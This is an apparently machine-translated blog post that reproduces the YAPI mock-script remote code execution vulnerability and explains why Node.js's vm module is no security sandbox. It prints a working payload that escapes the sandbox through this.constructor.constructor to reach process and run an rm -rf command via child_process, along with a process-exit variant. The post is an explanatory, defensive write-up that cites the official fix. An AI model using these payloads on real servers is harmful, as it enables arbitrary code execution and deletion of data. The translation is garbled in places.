The thing is like this, because our project uses this Yapi project, we received a warning notice from the security group a few days ago, saying that Yapi has been exposed to a security vulnerability. Newly registered users can execute arbitrary code on your server and delete anything. , Let me make changes urgently! !
I thought that such a large open source project (21.7k) had such a serious security loophole, it shouldn't be.
I believe that many small partners have used this open source software as an interface management tool, but in order to prevent some small partners from not knowing what this library is doing, I will briefly introduce it.
YAPI (Well, let me go on to say that I took the recurrence path of the security group to reproduce the Yapi vulnerability.
First, I created a
1.js
/Users/qiufeng/my/yapi
directory.Then open a Yapi project-click settings-global mock script, and configure it
const sandbox = this const ObjectConstructor = this.constructor const FunctionConstructor = ObjectConstructor.constructor const myfun = FunctionConstructor('return process') const process = myfun() mockjson = process.mainModule.require("child_process").execSync("rm -rf /Users/qiufeng/my/yapi/1.js").toString()
Next, visit our global mock address
Finally, we found that our
1.js
goneSo I immediately searched for Yapi security vulnerabilities in Google, and found that a lot of victims had been fried on the Internet, and even Dalian University of Technology issued a statement requesting that the relevant code be rectified immediately.
Everyone is mined by mining, and transplanted by transplanted Trojan horse.
Then we take a look at how to fix this security hole. The official website mainly fixes this problem by merging a PR.
The main code fixes this vulnerability is to use the
safeify
replaced Node.js ofvm
Oh, it turns out that I used the
vm
module. Here I will also popularizevm
. Let’s take a look at how theNode.js
official website is defined.The vmvm
module enables compiling and running code within V8 Virtual Machine contexts.). The vm module is not a security mechanism. Don't use it to run untrusted code.Popular understanding is that it can dynamically execute some JavaScript code (somewhat similar to
eval
andFunction
Of course, the official website also clearly pointed out the security ofvm
So is there any difference between
vm
and ordinaryeval
andFunction
Of course there is. First of all, the biggest problem with eval is the intrusive problem, because the execution of eval will invade my current code. Andvm
provides a more secure sandbox environment.First, you can use the
vm.Script
method to build a script object:new vm.Script(code[, options])
, the API can be summarized as the following three:
script.runInThisContext(opts)
-Run the script in the current scope, that is, the script can access the global variables of the current script instead of the local scope.script.runInContext(context, opts)
-Run the script in the scope provided, the scope is the resultvm.createContext
Inscript.runInContext
, you can provide a custom controllable sandbox.script.runInNewContext(sandbox, opts)
-Run the script within the scope of a new sandbox. That is,runInNewContext
will automatically callvm.createContext
for you.Examples are as follows:
const vm = require('vm'); vm.runInThisContext(code, opts); vm.runInNewContext(code, sandbox, opts); vm.runInContext(code, context, opts);
vm
implements the characteristics of the sandbox through the scope of options, which isolates internal and external influences at one time.So far, it seems that
vm
is safe. Why did this security breach occur?The reason is still because of the characteristics of js...
First look at a piece of code
const vm = require('vm'); vm.runInNewContext('this.constructor.constructor("return process")().exit()');
This is a messy code, but don't underestimate this code, this code can directly make your program exit.
Then we will analyze step by step, we will expand
runInNewContext
const vm = require('vm'); const sandbox = {}; const script = new vm.Script('this.constructor.constructor("return process")().exit()'); const context = vm.createContext(sandbox); script.runInContext(context);
We can see, create
vm
environment, you first need to create a sandbox object, then the object isvm
Global Context execute the script,vm
of this pointsandbox
.Because the above code can also be disassembled into this.
const vm = require('vm'); const sandbox = {}; const ObjectConstructor = sandbox.constructor; // 获取 Object 对象构造函数 const FunctionConstructor = ObjectConstructor.constructor; // 获取 Function 对象构造函数 const foo = FunctionConstructor('return process'); // 构造一个函数,返回process全局变量 const process = foo(); process.exit();
From this derivation process, we can easily conclude that
vm
not safe is that this points to the sandbox, and the sandbox is an object. The constructor of the object is the constructor of the Object, and the constructor of the constructor of the Object is the Function. The constructor.Because we want to solve this problem, we can use the safer
vm2
orsafeify
. Next time, we will analyze the source code of these two libraries, how they can eliminate the shortcomings ofvm
related links
https://segmentfault.com/a/1190000012672620
https://github.com/YMFE/yapi/commit/37f7e55a07ca1c236cff6b0f0b00e6ec5063c58e
back at the author’s previous highly praised articles, you may be able to gain more!
- 2021 front-end learning path book list-the road to self-growth :
570+
likes- Talk about the front-end watermark from cracking a design website (detailed tutorial) :
790+
- article takes you to unlock the mystery of "File Download" :
140+
- 10 kinds of cross-domain solutions (with the ultimate big move) :
940+
likesConclusion
+ like + favorite + comment + forward , originality is not easy, I encourage the author to create better articles
Pay attention to the notes of the
Qiufeng, a front-end public account that focuses on front-end interviews, engineering, and open source
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。